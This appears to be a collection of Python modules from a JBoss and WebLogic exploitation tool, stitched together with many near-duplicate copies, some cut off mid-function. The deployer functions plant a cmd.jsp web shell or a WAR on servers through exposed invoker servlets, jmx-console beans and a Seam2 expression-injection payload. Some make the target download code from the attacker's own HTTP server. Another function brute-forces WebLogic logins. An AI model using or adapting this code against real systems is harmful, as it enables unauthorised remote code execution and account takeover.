def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the JMXInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50,300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if 'n' in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: if('org.jboss.web.tomcat.security.SecurityAssociationValve' in response and 'org.apache.catalina.authenticator.AuthenticatorBase.invoke' in response): utility.Msg('Deployment failed due to insufficient or invalid credentials.', LOG.ERROR) else: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1} (/{2})".format(war_name, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the EJBInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/EJBInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50,300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if 'n' in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: if 'org.jboss.web.tomcat.security.SecurityAssociationValve' in response \ and 'org.apache.catalina.authenticator.AuthenticatorBase.invoke' in response: utility.Msg('Deployment failed due to insufficient or invalid credentials.', LOG.ERROR) else: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1} (/{2})".format(war_name, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def deploy(fingerengine, fingerprint): """ Exploits Seam2 exposed by certain JBoss installs. Here we require the use of a JSP payload that's written into the www root. The 5.1 deployer here varies slightly from the Metasploit version, which doesn't appear to have been tested against 5.1. JBoss 5.1 writes into a cached temp, which is regenerated every time that war folder is modified. This kills the shell. JBoss 6.0/6.1 is the same, however, and appears to work fine. https://www.exploit-db.com/exploits/36653/ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input('This deployer requires a JSP, default to cmd.jsp? [Y/n]') if 'n' in tmp.lower(): return war_file = abspath('./src/lib/resources/cmd.jsp') war_name = 'cmd' utility.Msg("Preparing to deploy {0}...".format(war_name)) headers = {"Content-Type":"application/x-www-form-urlencoded"} jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp' jsp = None try: with open(war_file) as f: jsp = f.read() except Exception, e: utility.Msg("Error reading payload file '%s': %s" % (war_file, e), LOG.ERROR) return False
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input( "This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_name)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True)]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg( "Successfully deployed '/{0}/{1}'".format(war_name, war_name + '.jsp'), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the EJBInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/EJBInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50, 300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg( "Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: utility.Msg("This deployer requires a JSP payload", LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg( "{0} deployed to {1} (/{2})".format( war_file, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the JMXInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = parse_war_path(war_file) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( fingerengine.options.ip, fingerprint.port) fingerengine.random_int = str(randint(50,300)) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if '.war' in war_file: utility.Msg("This deployer requires a JSP payload", LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1} (/{2})".format(war_name, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Exploits Seam2 exposed by certain JBoss installs. Here we require the use of a JSP payload that's written into the www root. The 5.1 deployer here varies slightly from the Metasploit version, which doesn't appear to have been tested against 5.1. JBoss 5.1 writes into a cached temp, which is regenerated every time that war folder is modified. This kills the shell. JBoss 6.0/6.1 is the same, however, and appears to work fine. https://www.exploit-db.com/exploits/36653/ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input( 'This deployer requires a JSP, default to cmd.jsp? [Y/n]') if 'n' in tmp.lower(): return war_file = abspath('./src/lib/resources/cmd.jsp') war_name = 'cmd' utility.Msg("Preparing to deploy {0}...".format(war_name)) headers = {"Content-Type": "application/x-www-form-urlencoded"} jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp' jsp = None try: with open(war_file) as f: jsp = f.read() except Exception, e: utility.Msg("Error reading payload file '%s': %s" % (war_file, e), LOG.ERROR) return False
def run(fingerengine): """ This core module is used to load a specific platform's deployers and iterate through fingerprints to find one to deploy to. If the --invoke flag was passed, then we automatically run invoke_war, which will invoke the invoke_payload module. By the time a deployer is called, we should have everything setup for it to work. """ # before we do anything, ensure the deploying file exists... try: with open(fingerengine.options.deploy): pass except: utility.Msg( "File '%s' could not be found." % fingerengine.options.deploy, LOG.ERROR) return # check if we are using a random payload name if fingerengine.options.rand_payload: payload = path.abspath(fingerengine.options.deploy) rand = '%s/%s.%s' % (state.serve_dir, ''.join( choice(string.ascii_lowercase + string.digits) for x in range(5)), payload.split('.', 1)[1]) system("cp %s %s 2>/dev/null" % (payload, rand)) fingerengine.options.deploy = rand utility.Msg("Loading deployers for platform %s" % fingerengine.service, LOG.DEBUG) load = importlib.import_module('src.platform.%s.deployers' % fingerengine.service) # load all deployers modules = list(pkgutil.iter_modules(load.__path__)) loaded_deployers = [] for deployer in modules: dp = deployer[0].find_module(deployer[1]).load_module(deployer[1]) if 'deploy' not in dir(dp): continue loaded_deployers.append(dp) # start iterating through fingerprints for fingerprint in fingerengine.fingerprints: # build list of deployers applicable to this version appd = [ x for x in loaded_deployers if fingerprint.version in x.versions ] for deployer in appd: if fingerprint.title == deployer.title: if fingerengine.options.deployer: # they want to use a specific deployer if not fingerengine.options.deployer in deployer.__name__: continue # if the deployer is using waitServe, ensure the user knows if 'waitServe' in dir(deployer): r = utility.capture_input("This deployer (%s) requires an external"\ " listening port (%s). Continue? [Y/n]" % ( deployer.__name__, state.external_port)) if 'n' in r.lower(): continue utility.Msg( "Deploying WAR with deployer %s (%s)" % (deployer.title, deployer.__name__), LOG.DEBUG) try: deployer.deploy(fingerengine, fingerprint) except Exception, e: # catch and log as debug; likely an uncaught timeout utility.Msg( "Deployer %s failed: %s" % (deployer.__name__, e), LOG.DEBUG) if fingerengine.options.invoke_payload: invoke(fingerengine, fingerprint, deployer) return
def checkAuth(ip, fingerprint, returnCookie = False): """ Default behavior is to simply return True/False based on whether or not authentication with the credentials was successful. If returnCookie is set to true, we return the required auth cookie. Returns a tuple of (usr, pswd) in the event of a success, otherwise (None, None) is returned. """ # check with given auth if state.usr_auth: (usr, pswd) = state.usr_auth.split(':') auth = _auth(usr, pswd, ip, fingerprint) if auth: return auth # else try default credentials for (usr, pswd) in default_credentials: auth = _auth(usr, pswd, ip, fingerprint) if auth: return auth # if we're still here, lets check for a wordlist if state.bf_wordlist and not state.hasbf: # # by default, certain WebLogic servers have a lockout of 5 attempts # before a 30 minute lock. Lets confirm the user knows this. # tmp = utility.capture_input("WebLogic has a lockout after 5 attempts. Continue? [Y/n]") if 'n' in tmp: return (None, None) state.hasbf = True wordlist = [] try: with open(state.bf_wordlist, 'r') as f: wordlist = [x.decode('ascii', "ignore").rstrip() for x in f.readlines()] except Exception, e: utility.Msg(e, LOG.DEBUG) return (None, None) utility.Msg('Brute forcing %s account with %d passwords...' % (state.bf_user, len(wordlist)), LOG.DEBUG) try: for (idx, word) in enumerate(wordlist): stdout.flush() stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m" \ % (utility.timestamp(), state.bf_user, idx+1, len(wordlist))) auth = _auth(state.bf_user, word, ip, fingerprint) if auth: print '' # insert creds into default cred list if not (state.bf_user, word) in default_credentials: default_credentials.insert(0, (state.bf_user, word)) utility.Msg("Successful login %s:%s" % (state.bf_user, word), LOG.SUCCESS) return auth print '' except KeyboardInterrupt: pass
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the JMXInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = war_file.rsplit("/", 1)[1] utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if fp.version in ["5.0", "5.1"]: if '.war' in war_file: utility.Msg("Deploying via an exposed invoker for JBoss " " 5.x requires a JSP payload.", LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file)) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() # run serialization code response = invkdeploy(fp.version, url, local_url) if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("JMXInvokerServlet not vulnerable", LOG.ERROR) try: get("http://localhost:8000/", timeout=1.0) except: pass
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = war_file.rsplit('/', 1)[1] # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = {"3.0" : 21, "3.2" : 22, "4.0" : 3, "4.2" : 3, "6.0" : 19, "6.1" : 19 } if fingerprint.version == "3.0": tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " "Ensure your WAR is compatible with 3.0 [Y/n]") if 'n' in tmp.lower(): return utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:8000/{1}'.format( utility.local_address(), war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("Failed to call {0} (HTTP {1})".format (fingerengine.options.ip, response.status_code), LOG.ERROR) # kill our local HTTP server try: get("http://localhost:8000/", timeout=1.0) except: pass
def run(fingerengine): """ This core module is used to load a specific platform's deployers and iterate through fingerprints to find one to deploy to. If the --invoke flag was passed, then we automatically run invoke_war, which will call the deployed WAR and attempt to catch the shell back. """ # before we do anything, ensure the deploying file exists... try: with open(fingerengine.options.deploy): pass except: utility.Msg( "File '%s' could not be found." % fingerengine.options.deploy, LOG.ERROR) return utility.Msg("Loading deployers for platform %s" % fingerengine.service, LOG.DEBUG) load = importlib.import_module('src.platform.%s.deployers' % fingerengine.service) # load all deployers modules = list(pkgutil.iter_modules(load.__path__)) loaded_deployers = [] for deployer in modules: dp = deployer[0].find_module(deployer[1]).load_module(deployer[1]) if 'deploy' not in dir(dp): continue loaded_deployers.append(dp) # start iterating through fingerprints for fingerprint in fingerengine.fingerprints: # build list of deployers applicable to this version appd = [ x for x in loaded_deployers if fingerprint.version in x.versions ] for deployer in appd: if fingerprint.title == deployer.title: if fingerengine.options.deployer: # they want to use a specific deployer if not fingerengine.options.deployer in deployer.__name__: continue # if the deployer is using waitServe, ensure the user knows if 'waitServe' in dir(deployer): r = utility.capture_input("This deployer (%s) requires an external"\ " listening port (%s). Continue? [Y/n]" % ( deployer.__name__, state.external_port)) if 'n' in r.lower(): continue utility.Msg( "Deploying WAR with deployer %s (%s)" % (deployer.title, deployer.__name__), LOG.DEBUG) deployer.deploy(fingerengine, fingerprint) if fingerengine.options.invoke_payload: invoke(fingerengine, fingerprint, deployer) return utility.Msg("No valid fingerprints were found to deploy.", LOG.ERROR)
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = {"3.0" : 21, "3.2" : 22, "4.0" : 3, "4.2" : 3, "6.0" : 19, "6.1" : 19 } if fingerprint.version == "3.0": tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " "Ensure your WAR is compatible with 3.0 [Y/n]") if 'n' in tmp.lower(): return utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:{1}/{2}'.format( utility.local_address(), state.external_port,war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("Failed to call {0} (HTTP {1})".format (fingerengine.options.ip, response.status_code), LOG.ERROR) killServe()
def run(fingerengine): """ This core module is used to load a specific platform's deployers and iterate through fingerprints to find one to deploy to. If the --invoke flag was passed, then we automatically run invoke_war, which will call the deployed WAR and attempt to catch the shell back. """ # before we do anything, ensure the deploying file exists... try: with open(fingerengine.options.deploy): pass except: utility.Msg("File '%s' could not be found." % fingerengine.options.deploy, LOG.ERROR) return utility.Msg("Loading deployers for platform %s" % fingerengine.service, LOG.DEBUG) load = importlib.import_module('src.platform.%s.deployers' % fingerengine.service) # load all deployers modules = list(pkgutil.iter_modules(load.__path__)) loaded_deployers = [] for deployer in modules: dp = deployer[0].find_module(deployer[1]).load_module(deployer[1]) if 'deploy' not in dir(dp): continue loaded_deployers.append(dp) # start iterating through fingerprints for fingerprint in fingerengine.fingerprints: # build list of deployers applicable to this version appd = [x for x in loaded_deployers if fingerprint.version in x.versions] for deployer in appd: if fingerprint.title == deployer.title: if fingerengine.options.deployer: # they want to use a specific deployer if not fingerengine.options.deployer in deployer.__name__: continue # if the deployer is using waitServe, ensure the user knows if 'waitServe' in dir(deployer): r = utility.capture_input("This deployer (%s) requires an external"\ " listening port (%s). Continue? [Y/n]" % ( deployer.__name__, state.external_port)) if 'n' in r.lower(): continue utility.Msg("Deploying WAR with deployer %s (%s)" % (deployer.title, deployer.__name__), LOG.DEBUG) deployer.deploy(fingerengine, fingerprint) if fingerengine.options.invoke_payload: invoke(fingerengine, fingerprint, deployer) return utility.Msg("No valid fingerprints were found to deploy.", LOG.ERROR)
def run(fingerengine): """ This core module is used to load a specific platform's deployers and iterate through fingerprints to find one to deploy to. If the --invoke flag was passed, then we automatically run invoke_war, which will invoke the invoke_payload module. By the time a deployer is called, we should have everything setup for it to work. """ # before we do anything, ensure the deploying file exists... try: with open(fingerengine.options.deploy): pass except: utility.Msg("File '%s' could not be found." % fingerengine.options.deploy, LOG.ERROR) return # check if we are using a random payload name if fingerengine.options.rand_payload: payload = path.abspath(fingerengine.options.deploy) rand = '%s/%s.%s' % (state.serve_dir, ''.join(choice(string.ascii_lowercase+string.digits) for x in range(5)), payload.split('.',1)[1]) system("cp %s %s 2>/dev/null" % (payload, rand)) fingerengine.options.deploy = rand utility.Msg("Loading deployers for platform %s" % fingerengine.service, LOG.DEBUG) load = importlib.import_module('src.platform.%s.deployers' % fingerengine.service) # load all deployers modules = list(pkgutil.iter_modules(load.__path__)) loaded_deployers = [] for deployer in modules: dp = deployer[0].find_module(deployer[1]).load_module(deployer[1]) if 'deploy' not in dir(dp): continue loaded_deployers.append(dp) # start iterating through fingerprints for fingerprint in fingerengine.fingerprints: # build list of deployers applicable to this version appd = [x for x in loaded_deployers if fingerprint.version in x.versions] for deployer in appd: if fingerprint.title == deployer.title: if fingerengine.options.deployer: # they want to use a specific deployer if not fingerengine.options.deployer in deployer.__name__: continue # if the deployer is using waitServe, ensure the user knows if 'waitServe' in dir(deployer): r = utility.capture_input("This deployer (%s) requires an external"\ " listening port (%s). Continue? [Y/n]" % ( deployer.__name__, state.external_port)) if 'n' in r.lower(): continue utility.Msg("Deploying WAR with deployer %s (%s)" % (deployer.title, deployer.__name__), LOG.DEBUG) try: deployer.deploy(fingerengine, fingerprint) except Exception, e: # catch and log as debug; likely an uncaught timeout utility.Msg("Deployer %s failed: %s" % (deployer.__name__, e), LOG.DEBUG) if fingerengine.options.invoke_payload: invoke(fingerengine, fingerprint, deployer) return
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the EJBInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = war_file.rsplit("/", 1)[1] utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/EJBInvokerServlet".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg( "Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if fp.version in ["5.0", "5.1"]: if '.war' in war_file: utility.Msg( "Deploying via an exposed invoker for JBoss " "5.x requires a JSP payload", LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file)) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() # run serialization code response = invkdeploy(fp.version, url, local_url) if response is not None: utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("EJBInvokerServlet not vulnerable", LOG.ERROR) try: get("http://localhost:8000/", timeout=1.0) except: pass
def deploy(fingerengine, fingerprint): """ Exploits Seam2 exposed by certain JBoss installs. Here we require the use of a JSP payload that's written into the www root. The 5.1 deployer here varies slightly from the Metasploit version, which doesn't appear to have been tested against 5.1. JBoss 5.1 writes into a cached temp, which is regenerated every time that war folder is modified. This kills the shell. JBoss 6.0/6.1 is the same, however, and appears to work fine. https://www.exploit-db.com/exploits/36653/ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input( 'This deployer requires a JSP, default to cmd.jsp? [Y/n]') if 'n' in tmp.lower(): return war_file = abspath('./src/lib/resources/cmd.jsp') war_name = 'cmd' utility.Msg("Preparing to deploy {0}...".format(war_name)) headers = {"Content-Type": "application/x-www-form-urlencoded"} jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp' jsp = None try: with open(war_file) as f: jsp = f.read() except Exception as e: utility.Msg("Error reading payload file '%s': %s" % (war_file, e), LOG.ERROR) return False url = 'http://{0}:{1}/admin-console/login.seam' uri = 'actionOutcome=/success.xhtml?user%3d%23{{expressions.getClass().' uri += 'forName(\'java.io.FileOutputStream\').getConstructor(\'' uri += 'java.lang.String\',expressions.getClass().forName(\'' uri += 'java.lang.Boolean\').getField(\'TYPE\').get(null))' if fingerprint.version in ['6.0', '6.1']: uri += '.newInstance(request.getRealPath(\'/{0}\')' else: uri += '.newInstance(request.getRealPath(\'/../../../deploy/ROOT.war/{0}\')' uri += '.replaceAll(\'\\\\\\\\\',\'/\'),false).write(expressions' uri += '.getClass().forName(\'sun.misc.BASE64Decoder\').' uri += 'getConstructor(null).newInstance(null).decodeBuffer' uri += '(request.getParameter(\'c\'))).close()}}&c={1}' uri = uri.format(jsp_name, quote_plus(b64encode(jsp))) response = utility.requests_post(url.format(fingerengine.options.ip, fingerprint.port), data=uri, headers=headers, allow_redirects=False) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=uri, cookies=cookies[0], auth=cookies[1]) except Exception as e: utility.Msg("Error with authenticated request: %s" % str(e), LOG.ERROR) return else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 302: if fingerprint.version in ['6.0', '6.1']: invoke_url = "http://{0}:{1}/admin-console/{2}".format( fingerengine.options.ip, fingerprint.port, jsp_name) else: invoke_url = "http://{0}:{1}/{2}".format(fingerengine.options.ip, fingerprint.port, jsp_name) utility.Msg("{0} deployed to {1}".format(war_name, invoke_url), LOG.SUCCESS) fingerengine.invoke_url = invoke_url fingerengine.options.deploy = jsp_name else: utility.Msg( "Failed to deploy {0} (HTTP {1})".format(fingerengine.options.ip, response.status_code), LOG.ERROR)